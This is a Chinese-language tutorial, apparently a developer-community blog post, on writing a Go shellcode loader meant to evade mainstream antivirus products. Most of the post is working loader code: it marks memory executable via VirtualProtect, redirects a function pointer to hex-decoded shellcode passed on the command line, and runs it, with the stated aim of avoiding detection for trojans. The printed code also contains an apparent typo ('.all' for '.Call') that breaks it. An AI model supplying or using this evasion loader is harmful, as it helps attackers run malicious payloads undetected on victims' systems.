自写go加载器加壳免杀——过国内主流杀软

2023-05-21 444

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： 自写go加载器加壳免杀——过国内主流杀软

01免杀编写说明

参考自己公司大佬写的go木马中的内存保护

必须对Windows一些重要dll 和 go语言的指针有所了解（重要 ! )

思路：还是和我之前的文章一样采用分离式加载免杀

02shellcode加载器

shellcode加载器的编写结构：

1. 定义一个接收函数

2. 将你的shellcode放入你的刚才定义的接收函数

3. 解密shellcode

4. 加载运行

03shellcode实现讲解

1. go语言编写的基本原则

go语言必要的 package main以及func main 主函数

package mainfunc main(){    }

基本的go结构：所有的函数都从main函数开始加载，如果没有放入函数，则不会执行该函数。

你创建的函数必须写在main函数之上

在主函数中加入Run函数（待会儿我们要创建的），并且该函数需要单独创建一个这里只是调用：

2. 使用Run函数就得创建一个名为Run的函数，但是在那之前我们要使用一个保护函数待会用于保护我们的shellcode地址：

在这里可以创建VirtualProtect函数用来保护我们的函数，并且去掉一些函数特征。

具体代码如下：

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll（及其重要的链接库 几乎所有的木马都会调用这个函数）NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr，uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}

这里我们需要了解几个重要的函数：

syscall这是调用函数的函数；

NewLazyDLL来调取kernel32.dll（极其重要的链接库几乎所有的木马都会调用这个函数）；

NewProc是指api；

NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api；

有兴趣的可以参考《恶意代码分析》这本书：

3. 将你保护代码放入你的定义函数之中

这里涉及go语言指针，简单的说一下指针，可能讲的会有些模糊。

指针是一个地址传递的，地址传递会发生内存地址的改变。

但是这个和值传递不同有所不同。

其中指针表示： *一级指针 **二级指针

func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect，内存新的属性类型，设置为PAGE_EXECUTE_READWRITE（0x40）时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}

在这里对下面的代码进行解读：

VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))

解读：unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数设置为0  unint32(0x40)flNewProtect是内存新的属性类型，将PAGE_EXECUTE_READWRITE设置为（0x40）时该内存页为可读可写可执行并且是最大权限

VirtualProtect 函数的意思：

继续：

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

将shellcode放入函数中，&sc为shellcode的内存地址；这里的目的就是将shellcode的地址赋值给了&f的地址。

通俗的讲就是：

以前shellcode的地址是&sc 现在变成&f ，而&f的地址是进行了内存保护的，等同于shellcode也被保护了。

shellcode的地址

VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))

4. 最后一步，调用f函数：

这里调用f函数f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址

04完整shellcode代码

完整代码如下：

package main
import (
    "encoding/hex"
    "fmt"
    "os"
    "syscall"
    "unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll（及其重要的链接库 几乎所有的木马都会调用这个函数）NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr，uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}
func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect，内存新的属性类型，设置为PAGE_EXECUTE_READWRITE（0x40）时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}
func main() {
    //解密
    x, _ := hex.DecodeString(os.Args[1])
    Run(x)
}